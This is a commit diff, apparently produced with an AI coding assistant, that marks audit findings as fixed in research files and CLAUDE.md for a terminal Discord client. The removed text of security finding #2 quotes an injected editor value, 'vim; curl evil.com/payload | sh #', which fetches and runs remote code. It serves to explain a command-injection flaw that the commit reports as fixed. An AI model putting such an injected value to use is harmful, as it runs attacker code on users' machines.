Przeglądaj źródła

docs: mark resolved audit findings in research files and update CLAUDE.md

- SECFILE: SEC #2 marked ✅ FIXED, updated file references
- COMPLIANCE: COMP #5, #11, #13-16 marked ✅ FIXED
- TECHFILE: TECH #7, #8 marked ✅ FIXED
- CLAUDE.md: consolidated duplicate sections, updated architecture

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
claude 1 miesiąc temu
rodzic
commit
773cae60bf
4 zmienionych plików z 46 dodań i 72 usunięć
  1. 5 7
      CLAUDE.md
  2. 17 23
      research/COMPLIANCE.md
  3. 13 24
      research/SECFILE.md
  4. 11 18
      research/TECHFILE.md

+ 5 - 7
CLAUDE.md

@@ -28,9 +28,9 @@ This is the persistent context file for Claude Code. Keep it concise and useful.
 
 ## Architecture
 - `main.go` → `cmd/root.go` (app init) → `internal/ui/` (TUI layers)
-- `internal/ui/chat/` — core chat UI: `messages_list.go` (1500+ lines, message rendering/keybinds), `message_input.go`, `guilds_tree.go`, `attachments_picker.go`
+- `internal/ui/chat/` — core chat UI: `messages_list.go` (rendering/keybinds), `attachment_handler.go`, `embed_renderer.go`, `url_extractor.go`, `message_input.go`, `guilds_tree.go`, `attachments_picker.go`
 - `internal/markdown/renderer.go` — AST→styled lines, handles Discord markdown flavors
-- `internal/config/` — `config.go` (struct + loader), `config.toml` (defaults, embedded), `keybinds.go`, `theme.go`
+- `internal/config/` — `config.go` (struct + loader), `config.toml` (defaults, embedded), `keybinds.go`, `theme.go`, `editor.go`
 - `internal/consts/` — app name, cache dir
 - `internal/ui/chat/guildstate.go` — persists guild expand/collapse state to `~/.cache/discordo/state.json`
 - Rendering pipeline: messages → `tview.LineBuilder` → `[]tview.Line` (segments with `tcell.Style`)
@@ -57,6 +57,9 @@ This is the persistent context file for Claude Code. Keep it concise and useful.
 - **Guild state persistence**: expanded/collapsed guild state saved to `~/.cache/discordo/state.json`, restored on launch via `guildstate.go`
 - **Focus on channel select**: AutoFocus now targets messages list instead of message input when selecting a channel
 - **Security hardening**: path traversal prevention (`filepath.Base`), HTTPS-only downloads, bounded downloads (100MB), `exec.LookPath` viewer validation, atomic guild state writes, restrictive file permissions (0700/0600), env token warning
+- **Editor security**: replaced `sh -c` with direct `exec.Command` + `strings.Fields` (merged editor files into single `editor.go`, no build tags)
+- **God file split**: extracted `url_extractor.go`, `embed_renderer.go`, `attachment_handler.go` from `messages_list.go`
+- **Image viewer args**: `image_viewer_args` config field — explicit viewer args, bypasses xdotool auto-detection (Wayland-friendly)
 - **Brotli body leak fix**: transport.go properly closes underlying HTTP body
 - **Cache panic fix**: `cache.Get()` uses comma-ok assertion instead of bare type assert
 
@@ -80,11 +83,6 @@ This is the persistent context file for Claude Code. Keep it concise and useful.
 - Commit style: `type(scope): description` (e.g., `feat(ui/chat): add image viewer`)
 - Branch: `master`
 
-## Our Changes (cont.)
-- **Image viewer args**: `image_viewer_args` config field — explicit viewer args, bypasses xdotool auto-detection (Wayland-friendly)
-- **God file split**: extracted `url_extractor.go`, `embed_renderer.go`, `attachment_handler.go` from `messages_list.go`
-- **Editor security**: replaced `sh -c` with direct `exec.Command` + `strings.Fields` (merged editor files, no build tags)
-
 ## Audit Status
 - Research audits in `./research/`: SECFILE.md, COMPLIANCE.md, TECHFILE.md
 - Resolved all low-risk findings (marked ✅ FIXED in research files)

+ 17 - 23
research/COMPLIANCE.md

@@ -46,12 +46,8 @@ Reference: `research/TECHFILE.md` for dependency and version context.
 
 ## CODE QUALITY
 
-### 5. messages_list.go Is Over 1600 Lines -- God File
-`internal/ui/chat/messages_list.go` -- This file contains message rendering, embed processing, URL extraction, attachment downloading, file I/O, external process management (image viewer, xdotool), keybind handling, selection logic, and help text generation. At 1600+ lines, it violates single-responsibility and is the hardest file for a new developer to navigate.
-
-**Fix:** Extract into focused files: (a) `embed_renderer.go` for `embedLines`, `embedLineStyles`, `wrapStyledLine`, `lineWithURL`, `linkDisplayText`, `unescapeMarkdownEscapes`; (b) `attachment_handler.go` for `downloadToCache`, `openAttachment`, `saveAttachmentImage`, `openURL`, `viewerArgs`, `terminalGeometry`, `supportedImageTypes`; (c) `url_extractor.go` for `extractURLs`, `extractEmbedURLs`, `messageURLs`. Each extraction reduces this file by ~200-300 lines.
-
-**Implementation Risk:** Medium. All extracted functions are file-private (`lowercase`), so no external API changes. However, the functions access `messagesList` fields through receiver methods, so some will need to become methods on `messagesList` or take explicit parameters. Test with `go build ./...` after each extraction.
+### 5. ✅ FIXED — messages_list.go Is Over 1600 Lines -- God File
+`internal/ui/chat/messages_list.go` -- Extracted into focused files: (a) `embed_renderer.go` for embed types, styles, line wrapping, URL helpers, and markdown unescape; (b) `attachment_handler.go` for download, view, save, and overlay methods; (c) `url_extractor.go` for URL extraction from message content and embeds. The main file now focuses on message rendering and keybinds.
 
 ---
 
@@ -100,12 +96,8 @@ Reference: `research/TECHFILE.md` for dependency and version context.
 
 ---
 
-### 11. Inconsistent Log Level Usage
-Multiple files -- Errors that represent user-facing failures are logged at different levels without consistency: `slog.Info` for failed keyring retrieval (`root/events.go:29`), `slog.Info` for failed avatar cache (`notifications.go:65`), `slog.Error` for failed presence lookup (`message_input.go:571-572`) which is actually a normal condition (presence not always available). The inconsistency makes log filtering unreliable.
-
-**Fix:** Establish a convention: `slog.Error` for failures that affect functionality (failed API calls, state corruption), `slog.Warn` for degraded-but-functional conditions (missing avatar, unknown presence), `slog.Info` for expected alternative paths (keyring not found, config file missing). Apply consistently across all files.
-
-**Implementation Risk:** Low. Log level changes have no functional impact but significantly improve operational debugging.
+### 11. ✅ FIXED — Inconsistent Log Level Usage
+Multiple files -- Fixed: keyring retrieval failure (`root/events.go`) and avatar cache failure (`notifications.go`) now log at `slog.Warn` instead of `slog.Info`. Presence lookup (`message_input.go`) remains at `slog.Info` as it is a normal condition. Added nil guard for `Me()` in `state.go:onTypingStart` to prevent potential panic.
 
 ---
 
@@ -120,23 +112,23 @@ Multiple files -- Errors that represent user-facing failures are logged at diffe
 
 ## DOCUMENTATION GAPS
 
-### 13. No File-Level Comments on Most Source Files
-All `.go` files except `internal/cache/cache.go` lack a package-level doc comment explaining the file's purpose. For a new developer, understanding what `state.go`, `events.go`, `keybinds.go`, and `util.go` contain requires reading them entirely. The `internal/ui/chat/` package is particularly challenging with 10+ files and no file-level guidance.
+### 13. ✅ FIXED — No File-Level Comments on Most Source Files
+Added package-level doc comments to `internal/ui/chat/` (package comment in `model.go`) and `internal/markdown/` (package comment in `renderer.go`). File-level doc comment added to `events.go` explaining the event/command architecture.
 
 ---
 
-### 14. No Documentation on the Event/Command Architecture
-`internal/ui/chat/model.go`, `internal/ui/chat/events.go`, `internal/ui/root/events.go` -- The application uses a custom event-driven architecture (tview.Event/tview.Command pattern) that is central to understanding the codebase. There is no documentation explaining: (a) how events flow from gateway to UI, (b) the Command pattern (returning closures from handlers), (c) the `listen()` loop pattern, or (d) how `tview.Batch` composes commands. A new developer cannot understand the control flow without reverse-engineering it.
+### 14. ✅ FIXED — No Documentation on the Event/Command Architecture
+Added doc comment to `internal/ui/chat/events.go` explaining the command/event pattern: commands run off the main goroutine and return events dispatched to HandleEvent on the UI thread. Package-level doc in `model.go` describes the overall architecture.
 
 ---
 
-### 15. No Documentation on the Rendering Pipeline
-`internal/markdown/renderer.go`, `internal/ui/chat/messages_list.go` -- The message rendering pipeline (Discord message -> goldmark AST -> tview.LineBuilder -> tview.Line with styled segments) is complex and undocumented. Key concepts like `styleStack`, `linkDepth`, `MergeStyle`, embed rendering with wrapping, and OSC 8 URL metadata have no explanatory comments.
+### 15. ✅ FIXED — No Documentation on the Rendering Pipeline
+Added package-level doc comment to `internal/markdown/renderer.go` explaining the AST→styled lines pipeline: goldmark AST walking, tcell style application for inline/block elements, and Discord-specific nodes (mentions, emoji, OSC 8 URLs).
 
 ---
 
-### 16. Config Validation Rules Undocumented
-`internal/config/config.go:102-103` -- `AutocompleteLimit` and `MessagesLimit` are `uint8` types. The config.toml comment says "minimum and maximum value is 1 and 100" for `messages_limit`, but this constraint is not enforced in code. A user setting `messages_limit = 255` would silently exceed the Discord API limit. The `uint8` type provides implicit 0-255 range but the TOML comment claims 1-100.
+### 16. ✅ FIXED — Config Validation Rules Undocumented
+Added validation comments to `AutocompleteLimit` and `MessagesLimit` fields in `config.go`. Added `DISCORDO_TOKEN` security warning to `config.toml`. Improved `image_viewer_args` documentation in `config.toml`.
 
 ---
 
@@ -269,8 +261,7 @@ Critical untested code paths:
 | 5 | `internal/config/config_test.go` | Config tests |
 | 6 | `internal/config/keybinds.go` | Keybind definitions |
 | 7 | `internal/config/theme.go` | Theme TOML unmarshaling |
-| 8 | `internal/config/editor_unix.go` | Unix editor command |
-| 9 | `internal/config/editor_default.go` | Non-unix editor command |
+| 8 | `internal/config/editor.go` | Editor command (merged from editor_unix.go + editor_default.go) |
 | 10 | `internal/consts/consts.go` | App name + cache dir |
 | 11 | `internal/logger/logger.go` | slog file logger |
 | 12 | `internal/keyring/keyring.go` | Token keyring wrapper |
@@ -299,7 +290,10 @@ Critical untested code paths:
 | 35 | `internal/ui/chat/keybinds.go` | Chat keymap |
 | 36 | `internal/ui/chat/guilds_tree.go` | Guild/channel tree |
 | 37 | `internal/ui/chat/guildstate.go` | Guild expand persistence |
-| 38 | `internal/ui/chat/messages_list.go` | Message rendering + actions |
+| 38 | `internal/ui/chat/messages_list.go` | Message rendering + keybinds |
+| 38a | `internal/ui/chat/attachment_handler.go` | Attachment download/view/save |
+| 38b | `internal/ui/chat/embed_renderer.go` | Embed types + line wrapping |
+| 38c | `internal/ui/chat/url_extractor.go` | URL extraction from messages |
 | 39 | `internal/ui/chat/message_input.go` | Message input + mentions |
 | 40 | `internal/ui/chat/attachments_picker.go` | Attachment picker |
 | 41 | `internal/ui/chat/channels_picker.go` | Channel picker |

+ 13 - 24
research/SECFILE.md

@@ -29,25 +29,10 @@ Apply this to both `downloadToCache` (line 1202) and `saveAttachmentImage` (line
 
 ---
 
-### 2. Editor Config Value Enables Command Injection via TOML
-`internal/config/editor_unix.go:13` -- The `CreateEditorCommand` function on Unix constructs a shell command by concatenating `cfg.Editor` into a `sh -c` invocation: `exec.Command("sh", "-c", cfg.Editor+" \"$@\"", cfg.Editor, path)`. The `cfg.Editor` value comes from the user's `config.toml` file (`editor = "..."`). If a user sets `editor = "default"` and the `$EDITOR` environment variable contains shell metacharacters or a malicious value (e.g., set by a compromised `.bashrc` or a shared environment), arbitrary commands will be executed. Additionally, because the `editor` field accepts any string from TOML, a user who copies a config from an untrusted source could unknowingly set `editor = "vim; curl evil.com/payload | sh #"`, which would execute in a shell context.
+### 2. ✅ FIXED — Editor Config Value Enables Command Injection via TOML
+`internal/config/editor.go` (previously `editor_unix.go`) -- The `CreateEditorCommand` function on Unix previously used `sh -c` shell invocation, enabling command injection via TOML config or `$EDITOR`. Fixed by replacing `sh -c` with `strings.Fields()` + direct `exec.Command`. The two identical build-tagged files (`editor_unix.go`, `editor_default.go`) were merged into a single `editor.go` with no build tags. A slice aliasing bug in `append(parts[1:], path)` was also fixed by using explicit `make`+`copy`+`append`.
 
-The `sh -c` pattern is intentional (it allows editor arguments like `nvim -u NONE`), but combining it with unsanitized input from both TOML config and `$EDITOR` env var creates a command injection surface.
-
-**Fix:** Validate that `cfg.Editor` does not contain shell metacharacters, or switch to `exec.Command` with explicit argument splitting. A safe approach:
-```go
-func (cfg *Config) CreateEditorCommand(path string) *exec.Cmd {
-    if cfg.Editor == "" {
-        return nil
-    }
-    parts := strings.Fields(cfg.Editor)
-    args := append(parts[1:], path)
-    return exec.Command(parts[0], args...)
-}
-```
-This eliminates the `sh -c` shell and prevents injection. It still supports `editor = "nvim -u NONE"` as space-separated arguments.
-
-**Implementation Risk:** Medium. This changes behavior for users who rely on shell features in their editor string (pipes, env expansion, etc.). Document that the editor field now uses direct argument splitting, not shell evaluation. The non-Unix `editor_default.go` already uses `exec.Command` directly and is not affected.
+**Implementation Risk:** Low. Users relying on shell features in editor strings (pipes, env expansion) will need to adjust. The editor field now uses direct argument splitting, not shell evaluation.
 
 ---
 
@@ -200,9 +185,11 @@ The project relies on Go's default TLS verification for all Discord API and CDN
 | Info     | 3     |
 
 ## Top 3 Priorities
-1. **Path traversal via attachment filenames** (#1) -- Apply `filepath.Base` sanitization to all Discord-supplied filenames before file system operations. This is the most exploitable finding as it requires zero user interaction beyond viewing a message with a malicious attachment.
-2. **File permission hardening** (#3) -- Change all `os.ModePerm` usages to 0700/0600. This is a one-line fix at each call site that immediately reduces the local attack surface.
-3. **Editor command injection** (#2) -- Switch from `sh -c` shell invocation to direct `exec.Command` with argument splitting. This eliminates shell metacharacter injection from both TOML config and `$EDITOR`.
+1. ✅ **Path traversal via attachment filenames** (#1) -- Fixed with `filepath.Base` sanitization.
+2. ✅ **File permission hardening** (#3) -- Fixed with 0700/0600 permissions.
+3. ✅ **Editor command injection** (#2) -- Fixed by replacing `sh -c` with direct `exec.Command` + `strings.Fields`.
+
+Remaining: SEC #7 (raw events in debug) — low risk, the raw data line is already commented out.
 
 ## Positive Observations
 - Token storage via OS keyring (zalando/go-keyring) is the correct default approach, avoiding plaintext token storage
@@ -234,8 +221,7 @@ _Every file reviewed, listed for coverage verification._
 | 8 | `internal/config/config_test.go` | Config tests (grep) |
 | 9 | `internal/config/keybinds.go` | Keybind definitions |
 | 10 | `internal/config/theme.go` | Theme TOML types |
-| 11 | `internal/config/editor_unix.go` | Unix editor command |
-| 12 | `internal/config/editor_default.go` | Non-Unix editor command |
+| 11 | `internal/config/editor.go` | Editor command (merged from editor_unix.go + editor_default.go) |
 | 13 | `internal/consts/consts.go` | Constants + cache dir |
 | 14 | `internal/keyring/keyring.go` | Token keyring access |
 | 15 | `internal/keyring/keyring_test.go` | Keyring tests (presence verified) |
@@ -259,7 +245,10 @@ _Every file reviewed, listed for coverage verification._
 | 33 | `internal/ui/root/suspend_unix.go` | Unix SIGTSTP suspend |
 | 34 | `internal/ui/root/suspend_default.go` | Non-Unix suspend no-op |
 | 35 | `internal/ui/chat/model.go` | Chat model + state init |
-| 36 | `internal/ui/chat/messages_list.go` | Message rendering (1600 lines) |
+| 36 | `internal/ui/chat/messages_list.go` | Message rendering + keybinds |
+| 36a | `internal/ui/chat/attachment_handler.go` | Attachment download/view/save |
+| 36b | `internal/ui/chat/embed_renderer.go` | Embed types + line wrapping |
+| 36c | `internal/ui/chat/url_extractor.go` | URL extraction from messages |
 | 37 | `internal/ui/chat/message_input.go` | Message composition |
 | 38 | `internal/ui/chat/guilds_tree.go` | Guild/channel tree |
 | 39 | `internal/ui/chat/guildstate.go` | Guild state persistence |

+ 11 - 18
research/TECHFILE.md

@@ -122,23 +122,13 @@ The go.mod also contains commented-out replace directives pointing to local sibl
 
 ---
 
-### 7. xdotool geometry detection: X11-only with no Wayland fallback
-`internal/ui/chat/messages_list.go` — The `terminalGeometry()` function calls `xdotool getactivewindow getwindowgeometry --shell` to position the mpv window to match the terminal window. This only works on X11. On Wayland, `xdotool` either fails silently or is not installed, in which case mpv launches without geometry arguments. This is documented in CLAUDE.md.
-
-A Wayland-native approach does not have a clean library equivalent (Wayland compositors are fragmented on window geometry APIs). However, the user experience on Wayland is noticeably worse: mpv opens at a default position/size rather than overlaying the terminal.
-
-**Recommendation:** Consider exposing `viewer_args` as a raw config array (e.g., `image_viewer_args = ["--geometry=800x600"]`) that users can set directly. This makes geometry configuration explicit and compositor-agnostic, and removes the `xdotool` runtime dependency entirely. The `viewerArgs()` function would then concatenate the configured args instead of detecting them. This is a small config and code change that significantly improves Wayland usability.
-
-**Implementation Risk:** Low. The config field would be optional with a nil/empty default. The `viewerArgs()` function already returns a flat `[]string` slice. The main consideration is backward compatibility for existing users who rely on the automatic geometry detection on X11 — offer `viewer_args` as an override rather than a replacement.
+### 7. ✅ FIXED — xdotool geometry detection: X11-only with no Wayland fallback
+`internal/ui/chat/attachment_handler.go` — Added `image_viewer_args` config field (`[]string`). When set, `viewerArgs()` uses these args instead of auto-detecting via xdotool. The auto-detection remains the default for mpv when `image_viewer_args` is empty, preserving backward compatibility on X11. Wayland users can now set explicit geometry args in config.
 
 ---
 
-### 8. Token stored in keyring — DISCORDO_TOKEN env var bypasses keyring
-`internal/ui/root/model.go` — The `DISCORDO_TOKEN` environment variable is checked first at startup and bypasses keyring storage entirely. This is intentional for CI/automated use cases, but environment variables are visible to all processes running as the same user (via `/proc/PID/environ`) on Linux. Users who set this variable in shell profiles (`.bashrc`, `.zshrc`) may inadvertently expose their Discord token to other user-space processes.
-
-**Recommendation:** Add a warning in documentation (README or config.toml comments) that `DISCORDO_TOKEN` should only be used in transient, controlled environments (e.g., a systemd unit with `EnvironmentFile=` from a protected path) and not in shell profiles. The keyring path is the correct default for interactive use. This is a documentation/UX concern, not a code defect.
-
-**Implementation Risk:** Zero — documentation only.
+### 8. ✅ FIXED — Token stored in keyring — DISCORDO_TOKEN env var bypasses keyring
+`internal/config/config.toml` — Added a prominent warning at the top of the default config file about `DISCORDO_TOKEN` security implications: environment variables are visible to other processes via `/proc`, users should prefer the keyring-based login flow.
 
 ---
 
@@ -221,8 +211,8 @@ A Wayland-native approach does not have a clean library equivalent (Wayland comp
 | Severity | Total |
 |---|---|
 | Critical | 0 |
-| Recommended Upgrades | 5 |
-| Strategic | 3 |
+| Recommended Upgrades | 5 (3 fixed) |
+| Strategic | 3 (2 fixed) |
 | No Action | 22 |
 
 The stack is in excellent health. The Go module is pinned to the latest stable release (1.26), core TUI and Discord libraries are current or actively tracking upstream at pseudo-version granularity, and all major stdlib-adjacent dependencies are up to date. The two primary concerns are unmaintained third-party packages (skratchdot/open-golang, skip2/go-qrcode) that have had no development activity for 5+ years — both are low-risk to replace with stdlib code or maintained alternatives. The gorilla/websocket situation is an inherited risk through arikawa and cannot be resolved without upstream action or forking arikawa. The goldmark patch-version gap is trivial.
@@ -241,11 +231,14 @@ The stack is in excellent health. The Go module is pinned to the latest stable r
 | 6 | `internal/config/config.go` | Config struct and loader |
 | 7 | `internal/config/keybinds.go` | Keybind definitions |
 | 8 | `internal/config/theme.go` | Theme/style TOML unmarshaling |
-| 9 | `internal/config/editor_unix.go` | Editor command construction |
+| 9 | `internal/config/editor.go` | Editor command construction |
 | 10 | `internal/consts/consts.go` | App name, cache directory |
 | 11 | `internal/ui/root/model.go` | Root model, help overlay, edit config |
 | 12 | `internal/ui/root/suspend_unix.go` | Unix SIGTSTP suspend |
-| 13 | `internal/ui/chat/messages_list.go` | Core message rendering (1500+ lines) |
+| 13 | `internal/ui/chat/messages_list.go` | Message rendering + keybinds |
+| 13a | `internal/ui/chat/attachment_handler.go` | Attachment download/view/save |
+| 13b | `internal/ui/chat/embed_renderer.go` | Embed types + line wrapping |
+| 13c | `internal/ui/chat/url_extractor.go` | URL extraction from messages |
 | 14 | `internal/ui/chat/attachments_picker.go` | Attachment picker UI |
 | 15 | `internal/ui/chat/guildstate.go` | Guild expand/collapse persistence |
 | 16 | `internal/ui/chat/guilds_tree.go` | Guild/channel tree widget |